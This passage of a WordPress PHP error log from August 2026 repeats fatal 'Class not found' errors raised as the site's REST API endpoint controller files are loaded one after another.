[20-Aug-2026 05:36:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [20-Aug-2026 05:36:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [20-Aug-2026 05:36:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [20-Aug-2026 05:36:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [20-Aug-2026 05:36:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [20-Aug-2026 05:36:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [20-Aug-2026 05:36:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [20-Aug-2026 05:37:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [20-Aug-2026 05:37:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [20-Aug-2026 05:37:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [20-Aug-2026 05:37:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [20-Aug-2026 05:37:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [20-Aug-2026 05:37:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [20-Aug-2026 05:37:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [20-Aug-2026 05:38:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [20-Aug-2026 05:38:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [20-Aug-2026 05:38:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [20-Aug-2026 05:38:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [20-Aug-2026 05:38:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [20-Aug-2026 05:38:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [20-Aug-2026 05:38:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [20-Aug-2026 05:38:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [20-Aug-2026 05:38:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [20-Aug-2026 05:39:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [20-Aug-2026 05:39:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [20-Aug-2026 05:39:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [20-Aug-2026 05:39:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [20-Aug-2026 05:39:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [20-Aug-2026 05:39:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [20-Aug-2026 05:39:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [20-Aug-2026 05:39:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [20-Aug-2026 05:39:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [20-Aug-2026 05:39:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [20-Aug-2026 05:39:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [20-Aug-2026 05:39:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [20-Aug-2026 05:40:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [20-Aug-2026 05:40:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [20-Aug-2026 05:40:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [20-Aug-2026 05:40:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [20-Aug-2026 05:40:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [20-Aug-2026 05:40:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [20-Aug-2026 05:40:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [20-Aug-2026 05:40:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [20-Aug-2026 05:54:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [20-Aug-2026 05:54:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [20-Aug-2026 05:54:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [20-Aug-2026 05:54:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [20-Aug-2026 05:54:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [20-Aug-2026 05:54:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [20-Aug-2026 05:55:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [20-Aug-2026 05:55:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [20-Aug-2026 05:55:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [20-Aug-2026 05:55:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [20-Aug-2026 05:55:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [20-Aug-2026 05:55:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [20-Aug-2026 05:55:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [20-Aug-2026 05:55:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [20-Aug-2026 05:55:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [20-Aug-2026 05:55:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [20-Aug-2026 05:55:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [20-Aug-2026 05:55:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [20-Aug-2026 05:55:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [20-Aug-2026 05:55:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [20-Aug-2026 05:55:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [20-Aug-2026 05:55:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [20-Aug-2026 05:55:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [20-Aug-2026 05:55:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [20-Aug-2026 05:55:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [20-Aug-2026 05:55:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [20-Aug-2026 05:55:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [20-Aug-2026 05:55:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [20-Aug-2026 05:55:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [20-Aug-2026 05:55:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [20-Aug-2026 05:55:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [20-Aug-2026 05:55:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [20-Aug-2026 05:55:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [20-Aug-2026 05:55:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [20-Aug-2026 05:55:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [20-Aug-2026 05:55:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [20-Aug-2026 05:55:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [20-Aug-2026 05:55:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in 